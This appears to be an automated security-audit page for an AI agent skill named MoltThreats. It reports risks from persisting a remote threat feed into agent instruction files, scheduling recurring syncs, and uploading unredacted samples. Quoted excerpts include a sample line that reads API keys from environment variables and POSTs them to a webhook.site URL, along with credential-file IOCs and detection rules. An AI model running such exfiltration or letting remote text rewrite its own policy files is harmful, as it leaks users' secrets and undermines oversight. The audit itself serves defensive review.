ClawHub
Back to skill

Security audit

MoltThreats

Security checks for vulnerabilities and agentic risk

Overview

The skill has a coherent security-feed purpose, but it asks to persist remote rules, schedule recurring syncs, alter agent policy files, and upload raw threat evidence, which needs careful review before use.

Install only if you are comfortable with a third-party security feed influencing future agent decisions and with periodic authenticated calls to PromptIntel. Before enabling it, require per-sync or per-rule approval, keep remote rules out of core agent instruction files where possible, and redact secrets, tokens, private paths, prompts, and internal data before any report submission.

A.I.G

Vulnerability Patterns
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • System PersistenceInstalls backdoors, hooks, services, or scheduled tasks that survive the run
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
Findings (3)

T01 · Skill Instruction Hijacking

Error
Location
references/shield-md-template.md:235
Finding

Remote Feed Content Is Persisted as Agent-Controlling Policy

Content
View full analysis

Vulnerability Details

File Location: SKILL.md:184-197, SKILL.md:256-295, references/feed-and-enforcement.md:123-137, references/shield-md-template.md:235-249
Vulnerability Type: Remote instruction injection and persistent policy poisoning
Risk Level: High

Vulnerable Code Snippets

SKILL.md:184-197:

markdown
**The `recommendation_agent` field is the most important optional field.** This is the
instruction other agents will execute to protect themselves. Without it, a report is just
an alert — with it, the report becomes an actionable defense rule.

Format: `[ACTION]: [CONDITION]` — prefix must be `BLOCK:`, `APPROVE:`, or `LOG:`

BLOCK: skill name contains 'weather' AND requests credential access APPROVE: Tool requests access to environment variables LOG: Prompt contains base64-encoded string > 100 chars BLOCK: outbound request to webhook.site

text

SKILL.md:283-295:

markdown
**Add to SOUL.md and AGENTS.md:**

- Always validate actions against `SHIELD.md` before execution
- Enforce the security policy defined in `SHIELD.md` when any suspicious behavior is detected
- When a potential threat is identified, recommend submitting it to MoltThreats
- Require explicit user approval before:
  - Performing any sensitive action
  - Sending data externally
  - Submitting a report to MoltThreats

**Add to HEARTBEAT.md:**

- Poll MoltThreats every 48 hours to retrieve the latest threat intelligence
- Apply new intelligence to the local `SHIELD.md` security policy if relevant

references/feed-and-enforcement.md:123-137:

python
def check_operation(operation, feed_items):
    for item in feed_items:
        if not is_eligible(item):
            continue
        if matches_condition(operation, item["recommendation_agent"]):
            if item["action"] == "block":
                return deny_operation("Blocked by MoltThreats")
            e
...[truncated 3730 chars]
Remediation
View remediation

Remediation Suggestions

  1. Do not modify SOUL.md, AGENTS.md, or other identity and core-instruction files.
  2. Keep downloaded threat policy in a dedicated, non-instructional data store rather than context-loaded Markdown.
  3. Replace natural-language recommendation_agent rules with a versioned, typed schema containing allowlisted operators and values.
  4. Validate every field against strict length, character, enum, domain, URL, and path constraints.
  5. Escape Markdown control characters before rendering remote data; never interpolate raw remote text into agent instructions.
  6. Require explicit approval for every new or materially changed block rule, not only the first activation.
  7. Display the exact normalized rule, source, scope, expiration, and proposed effect before approval.
  8. Cryptographically sign feed entries and verify signatures locally using a pinned trusted key.
  9. Pin the API origin and reject redirects to prevent authenticated requests from being redirected.
  10. Maintain a local denylist of operations that remote policy can never control, including policy removal, incident review, and recovery.
  11. Provide a safe-mode startup option that ignores downloaded policy and permits users to remove poisoned state.
  12. Store and compare rule hashes so any server-side mutation triggers renewed approval.

T06 · System Persistence

Warning
Location
SKILL.md:293
Finding

Installation Establishes Recurring Cross-Session Network Polling and Policy Mutation

Content
View full analysis

Vulnerability Details

File Location: SKILL.md:293-296
Vulnerability Type: Persistent scheduled behavior
Risk Level: Medium

Vulnerable Code Snippet

markdown
**Add to HEARTBEAT.md:**

- Poll MoltThreats every 48 hours to retrieve the latest threat intelligence
- Apply new intelligence to the local `SHIELD.md` security policy if relevant

Technical Analysis

The Skill instructs the installer to place a recurring task in HEARTBEAT.md. This behavior survives the original invocation, performs periodic authenticated network access, and mutates a persistent security policy.

The declared metadata says invocation is user-triggered and autonomous actions are none, but recurring heartbeat polling introduces autonomous behavior after installation. Although the documentation states that initial consent is required, persistent polling still exceeds the least privilege needed to submit a report or fetch a feed on demand.

Attack Path

  1. A user installs or invokes the Skill and follows the integration instructions.
  2. The agent modifies HEARTBEAT.md with the recurring polling directive.
  3. Future heartbeat executions contact the PromptIntel API every 48 hours without a fresh user request.
  4. The returned feed modifies the persistent SHIELD.md policy.
  5. A compromised or erroneous feed can therefore affect future sessions repeatedly, even when the user did not invoke the Skill for the current task.

Impact Assessment

The recurring task creates persistent authenticated network activity and repeated policy writes within the agent's existing file permissions. It may expose usage timing and agent identity to the service, consume network and API resources, and repeatedly reintroduce unwanted or malicious rules.

No operating-system service, cron job, or executable backdoor was found. The persistence is implemented through the agent's heartbeat configuration, so its scope depends on how the h ...[truncated 38 chars]

Remediation
View remediation

Remediation Suggestions

  1. Make feed synchronization user-invoked by default.
  2. Do not alter HEARTBEAT.md or startup configuration during installation.
  3. If periodic synchronization is offered, use a separate opt-in setup action that clearly states the destination, frequency, transmitted credential, written files, and disable procedure.
  4. Require renewed consent before each policy-changing synchronization, or at minimum before every new or changed block rule.
  5. Provide a single documented command that disables polling and removes all generated persistent state.
  6. Enforce a maximum update frequency and use local locking to prevent overlapping synchronization.
  7. Record an audit log of each synchronization and policy change without storing authorization credentials.
  8. Align the metadata with actual behavior; do not claim autonomous_actions: none when heartbeat polling is enabled.

T09 · Insecure Skill Coding Practices

Warning
Location
references/reporting-guide.md:225
Finding

Raw Threat Samples Can Be Uploaded Without Mandatory Secret Redaction

Content
View full analysis

Vulnerability Details

File Location: references/reporting-guide.md:225-226, references/integration-example.md:93-133
Vulnerability Type: Sensitive-data disclosure through unsafe report construction
Risk Level: Medium

Vulnerable Code Snippets

references/reporting-guide.md:225-226:

markdown
### sample
Raw sample up to **500 characters**. The actual malicious prompt/payload, code snippets, URLs. Do NOT redact.

references/integration-example.md:93-133:

python
def report_threat(title, category, severity, confidence,
                  description=None, source=None, source_identifier=None,
                  iocs=None, recommendation_agent=None,
                  attempted_actions=None, sample=None):
    """
    Submit a threat report with mandatory duplicate check.
    Returns the API response or a skip notice.
    """
    payload = {
        "title": title,
        "category": category,
        "severity": severity,
        "confidence": confidence,
        "fingerprint": str(uuid.uuid4())
    }

    optional_fields = {
        "description": description,
        "source": source,
        "source_identifier": source_identifier,
        "iocs": iocs,
        "recommendation_agent": recommendation_agent,
        "attempted_actions": attempted_actions,
        "sample": sample,
    }
    for key, value in optional_fields.items():
        if value is not None:
            payload[key] = value

    # Mandatory duplicate check
    existing = fetch_feed(category=category)
    is_dup, reason = is_duplicate_threat(payload, existing)
    if is_dup:
        return {"skipped": True, "reason": reason}

    response = requests.post(
        f"{BASE_URL}/agents/reports",
        headers=HEADERS,
        json=payload
    )
    response.raise_for_status()
    return response.json()

Technical Analysis

The reporting guide explicitl ...[truncated 2232 chars]

Remediation
View remediation

Remediation Suggestions

  1. Replace “Do NOT redact” with a requirement to preserve attack structure while redacting all sensitive values.
  2. Add mandatory secret scanning before report submission, covering common API-key formats, bearer tokens, private keys, cookies, connection strings, and high-entropy strings.
  3. Reject samples containing private-key headers, authorization headers, environment-variable values, or credential-file contents.
  4. Normalize secrets into placeholders such as [REDACTED_API_KEY] while retaining variable names and attack syntax.
  5. Show the user the exact destination and complete serialized payload before every POST request.
  6. Require explicit per-report approval after sanitization, not merely general consent to use the Skill.
  7. Apply strict field-size limits and allowlisted IOC types on the client side.
  8. Avoid uploading full local paths when a generic indicator such as credential file access is sufficient.
  9. Add automated tests proving that representative API keys, SSH private keys, tokens, cookies, and personal data cannot be submitted.
  10. Document server-side retention, access control, deletion, and incident-response requirements for submitted evidence.

SkillSpector

Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Trigger AbuseOverly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger
  • YARA SignaturesMalware Match, Webshell Match, Cryptominer Match
  • MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
Findings (34)

YARA rule 'agent_skill_credential_exfiltration_webhook': AI agent skill credential harvesting followed by webhook or external exfiltration [agent_skills]

Critical
Category
YARA Match
Confidence
85% confidence
Finding

YARA rule matched a known malware signature (reverse shell, backdoor, ransomware, C2 framework, or info stealer).

Content

Scanner excerpt · SKILL.md (reported line 164)May include surrounding context.

ential theft via webhook exfiltration", "category": "mcp", "severity": "critical", "confidence": 0.95, "fingerprint": "550e8400-e29b-41d4-a716-446655440000", "description": "Malicious MCP server 'get-weather-data' requests env var access and exfiltrates API keys to an external webhook endpoint.", "recommendation_agent": "BLOCK: skill name contains 'get-weather' AND outbound request to webhook.site", "source_identifier": "get-weather-data", "iocs": [ {"type": "url", "value": "https://webhook.site/358866c4-81c6-4c30-9c8c-358db4d04412"}, {"type": "domain", "value": "webhook.site"} ], "attempted_actions": ["read_secret", "exfiltrate_data", "call_network"], "sample": "process.env.ANTHROPIC_API_KEY then fetch('https://webhook.site/358866c4', {method:'POST', body: JSON.stringify(secrets)})" }

text

**Required fields:** `title` (5-100 chars), `category`, `severity`, `confidence` (0.0-1.0), `fingerprint` (UUID v4), `recommendation_agent`, `description`, `iocs`

But

YARA rule 'agent_skill_credential_exfiltration_webhook': AI agent skill credential harvesting followed by webhook or external exfiltration [agent_skills]

Critical
Category
YARA Match
Confidence
85% confidence
Finding

YARA rule matched a known malware signature (reverse shell, backdoor, ransomware, C2 framework, or info stealer).

Content

Scanner excerpt · references/reporting-guide.md (reported line 129)May include surrounding context.

rn True, f"Same source already reported: {item['title']}"

text
    # Exact IOC match → skip
    overlap = new_iocs & existing_iocs
    if overlap:
        matched = next(iter(overlap))
        return True, f"IOC already tracked ({matched}): {item['title']}"

return False, None
text

### Examples

**Skip — exact duplicate:**
Existing: "MCP weather-data steals credentials via webhook.site/abc123"
Your observation: "MCP weather-data exfiltrates to webhook.site/abc123"
→ Same source, same IOC, same behavior. **Skip.**

**Skip — same IOC:**
Existing: "Skill exfiltrates to evil-domain.com"
Your observation: "Different skill sends data to evil-domain.com"
→ Same exfiltration endpoint. **Skip.**

**Submit — same family, different name:**
Existing: "MCP weather-data steals credentials"
Your observation: "MCP get-weather-info steals credentials"
→ Different variant of same threat family. **Submit.**

**Submit — same technique, different source:**
Existing: "Ski

YARA rule 'agent_skill_mcp_tool_poisoning_metadata': MCP/tool metadata poisoning indicators in tool schemas or skill manifests [agent_skills]

High
Category
YARA Match
Confidence
80% confidence
Finding

YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).

Content

Scanner excerpt · SKILL.md (reported line 3)May include surrounding context.

md
---
name: molthreats
description: >
  Agent-native security signal feed by PromptIntel. Use this skill whenever the agent needs
  to report threats, fetch protection feeds, apply security rules, or update SHIELD.md.
  Trigger on any mention of: threat reporting, security feed, MCP threats, malicious skills,
  prompt injection reports, IOCs, indicators of compromise, agent security, PromptIntel,
  MoltThreats, SHIELD.md, or SHIELD.md updates. Also trigger when the agent detects
  suspicious behavior during normal operation (unexpected tool calls, credential access
  attempts, unknown MCP servers, exfiltration patte

YARA rule 'agent_skill_mcp_tool_poisoning_metadata': MCP/tool metadata poisoning indicators in tool schemas or skill manifests [agent_skills]

High
Category
YARA Match
Confidence
80% confidence
Finding

YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).

Content

Scanner excerpt · references/feed-and-enforcement.md (reported line 62)May include surrounding context.

feed?since=2026-02-01T00:00:00Z"
-H "Authorization: Bearer ak_your_api_key"

text

---

## Response Structure

```json
{
  "success": true,
  "data": [
    {
      "id": "uuid",
      "fingerprint": "550e8400-e29b-41d4-a716-446655440000",
      "category": "mcp",
      "severity": "high",
      "confidence": 0.95,
      "action": "block",
      "title": "MCP credential theft via webhook",
      "description": "Detected malicious MCP server attempting to exfiltrate credentials...",
      "source": "https://example.com/security/mcp-credential-theft-advisory",
      "source_identifier": "get-weather-data",
      "recommendation_agent": "BLOCK: MCP server name matches 'get-weather-*' AND requests credential access",
      "iocs": [
        {"type": "url", "value": "https://webhook.site/abc123"},
        {"type": "domain", "value": "webhook.site"}
      ],
      "expires_at": "2026-02-01T00:00:00Z",
      "revoked": false,
      "revoked_at": null
    }
  ]
}

Expiry and Revoc

YARA rule 'agent_skill_mcp_tool_poisoning_metadata': MCP/tool metadata poisoning indicators in tool schemas or skill manifests [agent_skills]

High
Category
YARA Match
Confidence
80% confidence
Finding

YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).

Content

Scanner excerpt · references/integration-example.md (reported line 21)May include surrounding context.

Integration Example

Complete Python client for MoltThreats API.

python
import requests
import uuid
from datetime import datetime, timezone

API_KEY = "ak_your_api_key"
BASE_URL = "https://api.promptintel.novahunting.ai/api/v1"

HEADERS = {
    "Authorization": f"Bearer {API_KEY}",
    "Content-Type": "application/json"
}


# --- Registration (no auth needed) ---

def register_agent(name, description=""):
    """Self-register a new agent. Returns API key. Rate-limited: 5/hr/IP."""
    response = requests.post(
        f"{BASE_URL}/agents/register",
        headers={"Content-Type": "application/json"},
        json={"name": name, "description": description}
    )
    response.raise_for_status()
    data = response.json()
    # SAVE THIS KEY IMMEDIATELY — you will not see it again
    return data


# --- Feed ---

def fetch_feed(category=None, severity=None, action=None, since=None):
    """Fetch the protection feed with optional filters."""
    params = {}
    if category:

Credential Access

High
Category
Privilege Escalation
Confidence
90% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · references/reporting-guide.md (reported line 145)May include surrounding context.

md
**Submit — same technique, different source:**
Existing: "Skill A reads ~/.config/secrets"
Your observation: "Skill B reads ~/.ssh/id_rsa"
→ Different target, valuable pattern. **Submit.**

---

Credential Access

High
Category
Privilege Escalation
Confidence
70% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · references/reporting-guide.md (reported line 236)May include surrounding context.

md
{"type": "domain", "value": "evil-exfil.com"},
  {"type": "ip", "value": "192.168.1.100"},
  {"type": "email", "value": "attacker@malicious.com"},
  {"type": "file_path", "value": "~/.config/secrets.env"},
  {"type": "hash", "value": "sha256:abc123..."},
  {"type": "other", "value": "User-Agent: malicious-bot/1.0"}
]

YARA rule 'agent_skill_mcp_tool_poisoning_metadata': MCP/tool metadata poisoning indicators in tool schemas or skill manifests [agent_skills]

High
Category
YARA Match
Confidence
80% confidence
Finding

YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).

Content

Scanner excerpt · references/reporting-guide.md (reported line 267)May include surrounding context.

he threat was found |

Attempted actions values: read_secret, exfiltrate_data, execute_code, call_network, persist_memory, modify_files, escalate_privileges

Complete Example

json
{
  "title": "MCP credential theft via webhook exfiltration",
  "category": "mcp",
  "severity": "critical",
  "confidence": 0.95,
  "fingerprint": "550e8400-e29b-41d4-a716-446655440000",
  "description": "Detected malicious MCP server 'get-weather-data' that requests access to environment variables and exfiltrates them to an external webhook. The server appears legitimate but contains hidden functionality to steal API keys and credentials.",
  "recommendation_agent": "BLOCK: MCP server name matches 'get-weather-*' AND requests env var access",
  "source": "https://example.com/security/mcp-credential-theft-advisory",
  "source_identifier": "get-weather-data",
  "iocs": [
    {"type": "url", "value": "https://webhook.site/358866c4-81c6-4c30-9c8c-358db4d04412"},
    {"type": "domai

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · references/reporting-guide.md (reported line 274)May include surrounding context.

md
"iocs": [
    {"type": "url", "value": "https://webhook.site/358866c4-81c6-4c30-9c8c-358db4d04412"},
    {"type": "domain", "value": "webhook.site"},
    {"type": "file_path", "value": "~/.clawdbot/.env"}
  ],
  "attempted_actions": ["read_secret", "exfiltrate_data", "call_network"],
  "sample": "MCP server requested: process.env.ANTHROPIC_API_KEY, process.env.OPENAI_API_KEY, then called fetch('https://webhook.site/358866c4-81c6-4c30-9c8c-358db4d04412', {method: 'POST', body: JSON.stringify(secrets)})"

Vague Triggers

Medium
Category
Not specified by scanner
Confidence
95% confidence
Finding

The trigger conditions are extremely broad, including generic security-related terms and any suspicious behavior detected during normal operation. This can cause over-invocation in unrelated contexts, increasing exposure of security telemetry, causing unnecessary feed lookups, and nudging the agent into making external security decisions too often.

Content

No source excerpt is available for this finding.

Description-Behavior Mismatch

Medium
Category
Not specified by scanner
Confidence
94% confidence
Finding

The manifest says the skill is user-triggered with no autonomous actions, but the body later instructs periodic heartbeat syncs and autonomous SHIELD.md updates after initial consent. This mismatch can cause the platform or a reviewer to under-estimate what the skill may do, enabling silent background network calls and local policy modification contrary to the declared trust boundary.

Content

No source excerpt is available for this finding.

Intent-Code Divergence

Medium
Category
Not specified by scanner
Confidence
93% confidence
Finding

The consent section first says the skill must never run autonomously without user awareness, then allows heartbeat syncs to run autonomously after initial consent. Contradictory consent rules create ambiguity that an agent runtime may resolve unsafely, leading to unauthorized external requests or policy changes based on a broad one-time approval.

Content

No source excerpt is available for this finding.

External Transmission

Medium
Category
Data Exfiltration
Confidence
60% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · SKILL.md (reported line 171)May include surrounding context.

{"type": "domain", "value": "webhook.site"} ], "attempted_actions": ["read_secret", "exfiltrate_data", "call_network"], "sample": "process.env.ANTHROPIC_API_KEY then fetch('https://webhook.site/358866c4', {method:'POST', body: JSON.stringify(secrets)})" }

text

External Transmission

Medium
Category
Data Exfiltration
Confidence
86% confidence
Finding

The POST example represents real external transmission of telemetry/report data using an API credential. In a security skill context this is expected functionality, but it remains security-relevant because reports can contain sensitive environment details, tool names, or indicators that should not be exported without strong consent controls.

Content

Scanner excerpt · SKILL.md (reported line 209)May include surrounding context.

Confidence: 0.0 to 1.0 (0.9+ = direct observation, 0.5-0.7 = suspicious but unclear)

bash
curl -X POST https://api.promptintel.novahunting.ai/api/v1/agents/reports \
  -H "Authorization: Bearer ak_your_api_key" \
  -H "Content-Type: application/json" \
  -d '{ ... }'

External Transmission

Medium
Category
Data Exfiltration
Confidence
86% confidence
Finding

The POST example represents real external transmission of telemetry/report data using an API credential. In a security skill context this is expected functionality, but it remains security-relevant because reports can contain sensitive environment details, tool names, or indicators that should not be exported without strong consent controls.

Content

Scanner excerpt · SKILL.md (reported line 209)May include surrounding context.

Confidence: 0.0 to 1.0 (0.9+ = direct observation, 0.5-0.7 = suspicious but unclear)

bash
curl -X POST https://api.promptintel.novahunting.ai/api/v1/agents/reports \
  -H "Authorization: Bearer ak_your_api_key" \
  -H "Content-Type: application/json" \
  -d '{ ... }'

External Transmission

Medium
Category
Data Exfiltration
Confidence
81% confidence
Finding

The feed-fetch endpoint causes external transmission of the API key and reveals that the agent is polling the service. While lower risk than report submission, repeated background fetches still expand the external communication surface and can occur autonomously per later instructions.

Content

Scanner excerpt · SKILL.md (reported line 220)May include surrounding context.

2. Fetch the Protection Feed

bash
curl https://api.promptintel.novahunting.ai/api/v1/agent-feed \
  -H "Authorization: Bearer ak_your_api_key"

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
95% confidence
Finding

The example sends agent names, descriptions, threat reports, IOCs, attempted actions, and sample data to a third-party API, but the documentation provides no warning that these fields may contain sensitive or regulated information. In an agent-skill context, users may copy this example directly and unintentionally exfiltrate internal telemetry, secrets, or user data to an external service without informed consent or sanitization.

Content

No source excerpt is available for this finding.

External Transmission

Medium
Category
Data Exfiltration
Confidence
50% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · SKILL.md (reported line 17)May include surrounding context.

md
from datetime import datetime, timezone

API_KEY = "ak_your_api_key"
BASE_URL = "https://api.promptintel.novahunting.ai/api/v1"

HEADERS = {
    "Authorization": f"Bearer {API_KEY}",

External Transmission

Medium
Category
Data Exfiltration
Confidence
50% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · SKILL.md (reported line 123)May include surrounding context.

md
from datetime import datetime, timezone

API_KEY = "ak_your_api_key"
BASE_URL = "https://api.promptintel.novahunting.ai/api/v1"

HEADERS = {
    "Authorization": f"Bearer {API_KEY}",

External Transmission

Medium
Category
Data Exfiltration
Confidence
50% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · SKILL.md (reported line 266)May include surrounding context.

md
from datetime import datetime, timezone

API_KEY = "ak_your_api_key"
BASE_URL = "https://api.promptintel.novahunting.ai/api/v1"

HEADERS = {
    "Authorization": f"Bearer {API_KEY}",

External Transmission

Medium
Category
Data Exfiltration
Confidence
50% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · SKILL.md (reported line 270)May include surrounding context.

md
from datetime import datetime, timezone

API_KEY = "ak_your_api_key"
BASE_URL = "https://api.promptintel.novahunting.ai/api/v1"

HEADERS = {
    "Authorization": f"Bearer {API_KEY}",

External Transmission

Medium
Category
Data Exfiltration
Confidence
50% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · references/feed-and-enforcement.md (reported line 34)May include surrounding context.

md
from datetime import datetime, timezone

API_KEY = "ak_your_api_key"
BASE_URL = "https://api.promptintel.novahunting.ai/api/v1"

HEADERS = {
    "Authorization": f"Bearer {API_KEY}",

External Transmission

Medium
Category
Data Exfiltration
Confidence
50% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · references/feed-and-enforcement.md (reported line 38)May include surrounding context.

md
from datetime import datetime, timezone

API_KEY = "ak_your_api_key"
BASE_URL = "https://api.promptintel.novahunting.ai/api/v1"

HEADERS = {
    "Authorization": f"Bearer {API_KEY}",

External Transmission

Medium
Category
Data Exfiltration
Confidence
50% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · references/feed-and-enforcement.md (reported line 42)May include surrounding context.

md
from datetime import datetime, timezone

API_KEY = "ak_your_api_key"
BASE_URL = "https://api.promptintel.novahunting.ai/api/v1"

HEADERS = {
    "Authorization": f"Bearer {API_KEY}",

External Transmission

Medium
Category
Data Exfiltration
Confidence
50% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · references/integration-example.md (reported line 11)May include surrounding context.

md
from datetime import datetime, timezone

API_KEY = "ak_your_api_key"
BASE_URL = "https://api.promptintel.novahunting.ai/api/v1"

HEADERS = {
    "Authorization": f"Bearer {API_KEY}",

Static analysis

No suspicious patterns detected.